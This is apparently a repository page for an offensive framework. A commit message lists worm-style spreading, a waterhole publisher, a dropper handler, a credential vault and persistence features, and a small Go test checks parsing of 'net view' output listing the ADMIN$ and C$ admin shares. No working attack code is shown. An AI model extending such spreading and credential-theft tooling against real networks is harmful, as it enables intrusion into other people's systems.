Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
21 lines
568 B
Go
21 lines
568 B
Go
package deploy
|
|
|
|
import "testing"
|
|
|
|
func TestParseNetViewShares(t *testing.T) {
|
|
sample := `Share name Type Used as Comment
|
|
|
|
-------------------------------------------------------------------------------
|
|
ADMIN$ Disk Remote Admin
|
|
C$ Disk Default share
|
|
IPC$ IPC Remote IPC
|
|
The command completed successfully.`
|
|
shares := parseNetViewShares(sample)
|
|
if len(shares) != 3 {
|
|
t.Fatalf("shares = %v", shares)
|
|
}
|
|
if shares[0] != "ADMIN$" || shares[1] != "C$" {
|
|
t.Fatalf("unexpected order: %v", shares)
|
|
}
|
|
}
|